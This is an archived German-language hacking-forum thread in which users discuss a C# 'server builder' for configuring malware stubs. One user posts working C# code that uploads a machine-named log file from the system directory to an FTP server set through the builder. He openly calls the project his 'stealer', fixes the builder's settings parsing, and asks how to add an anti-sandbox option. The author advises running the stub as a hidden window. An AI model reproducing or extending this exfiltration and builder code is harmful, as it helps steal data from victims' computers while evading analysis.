PDA

Archiv verlassen und diese Seite im Standarddesign anzeigen : [C# Source] - Server Builder



Sawyer
21.04.2009, 12:29
Screenshot:
http://img.xrmb2.net/images/218921.png

Beschreibung:
Kleines Server Builder sample :) wie gewohnt alles Schritt für Schritt kommentiert

Download:
http://rapidshare.com/files/352106443/C__-_Server_Builder.rar

MfG

Andybritten
27.04.2009, 22:38
Echt super teil aber ich hab ein Problem!

Ich ersetze den MessageBox.Show request einfach mit dem folgenden code:


System.Net.FtpWebRequest request = (System.Net.FtpWebRequest)System.Net.WebRequest.Cr eate("ftp://" + settingsSplit[0] + "//" + System.Environment.MachineName + ".log");
request.Method = System.Net.WebRequestMethods.Ftp.UploadFile;
request.Credentials = new System.Net.NetworkCredential(settingsSplit[1], settingsSplit[2]);

FileStream stream = File.OpenRead(Environment.SystemDirectory + "\\" + System.Environment.MachineName + ".log");
byte[] buffer = new byte[stream.Length];
stream.Read(buffer, 0, buffer.Length);
stream.Close();

Stream requestStream = request.GetRequestStream();
requestStream.Write(buffer, 0, buffer.Length);
requestStream.Close();


Nur nach dem ich das Teil durch den Builder geschickt hab scheisst die server.exe ab.

Ich bin mir sicher dass ich die richtigen Daten zum FTP login in den Builder eingegeben hab.
Habs bestimmt jetzt schon 10 mal probiert und es klappt NIE!
Die Datei ist auch vorhanden die er auslesen soll.

Alles klappt wenn ich die Daten per Hand eingebe.
Aber sobald ich sie versuch durch den Builder zu holen klappt nichts mehr!

Woran liegts???

Sawyer
28.04.2009, 01:29
Warum es nicht geht kann ich dir leider nicht sagen , ich kann der aber sagen wie es zu Lösen ist

mach aus der Stub einfach eine Windows Forms-Anwendung , dann funktioniert es^^
mit this.Visible = false; kannst du die Form versteckt starten Lassen

MfG

Andybritten
28.04.2009, 11:16
Ich glaub ich habe den fehler gefunden.
Er scheint im Builder zu stecken:
Mach aus:

Einstellungen.Value = Server + "_" + Benutzer + "_" + Passwort
Einfach:

Einstellungen.Value = Server + "_" + Benutzer + "_" + Passwort + "_";

Hab mir gedacht dass der vielleicht das passwort falsch abschneidet oder so und hab ans ende noch ein Trennzeichen gehangen.
Und jetzt klappts ;)

Vielleicht hab ich euch ja ein wenig helfen können!

Auf jedenfall bekommst du dicke credits in meinem stealer papst ;)

Wäre jetzt noch sehr nett wenn du dich mal um meinen request den ich dir per PN geschickt hatte kümmern könntest (natürlich nur wenn du lust und zeit hast).

Grim-Reaper
28.04.2009, 11:28
Werds mir morgen auch mal laden. Sieht viel versprechend aus xD

Andybritten
28.04.2009, 12:41
Kann man auch irgendwie Boolean werte auf diese art und weise übertragen?
Oder wie übeträgst du die bool werte?

Zum Beispiel:

Wenn checkbox1 = checked dann bool antisanboxy = true

Sawyer
29.04.2009, 12:06
Wenn checkbox1 = checked dann bool antisanboxy = trueEin Boolean sollte ebenfalls über die selbe methode übergeben werden können

kann sein das es als String Konvertiert werden muss um es in die Einstellung,s Variable schreiben zu können
aber dann ist es kein Problem , dann kannst du es bei der stub auch normal auslesen^^

Beispiel:

Einstellungen.Value = Server + "_" + Benutzer + "_" + Passwort + "_" + Convert.ToString(checkbox1.checked) + "_";Nicht getestet , aber müsste so richtig sein , wie schon gesagt , wenn du es bei der Stub splittest , kannst du es ja an eine Bool variable übergeben , und dann die werte abfragen

MfG

Andybritten
29.04.2009, 15:13
Nah ich habs "enfacher" gemacht.
Alle bools in strings umgeschrieben und dann deren werte gecheckt.
Fertig ;)

EDIT:
OK hab jetzt meinen eigenen Builder gebaut.
Also deiner ist nice für precompilte dateien aber da ich ja in .net programmiere kann man auch die vorz+ge von .net ausnutzen.
Undzwar dass .net eine JIT sprache ist ;)
Ich compile den server jetzt direkt im builder drin :P

Sawyer
05.05.2009, 06:51
Ich compile den server jetzt direkt im builder drin :PWenn du damit sagen willst , das du es zur Laufzeit Compilieren lässt , dann ist das natürlich möglich , jedoch hast du dann keine Stub , und der User kann diese nicht "bearbeiten"

aber wenn es funktioniert bitte , ist deine Sache ;) Ich hab es bewusst so umgesetzt^^

MfG

Andybritten
05.05.2009, 15:06
Naja sagen wirs so...
Ne stub kann mans nicht mehr nennen aber der User kann die "pseudo stub" trotzdem "bearbeiten" :D
Aber ist ja egal.

Super C# Beispiel trotzdem!!!

Th3_Cr4xX
05.05.2009, 15:44
sieht gut aus xD aber n schreibfehler is aufm skin --> server bilder ^^

Sawyer
05.05.2009, 15:46
sieht gut aus xD aber n schreibfehler is aufm skin --> server bilder ^^
hab es ausgebessert :)

MfG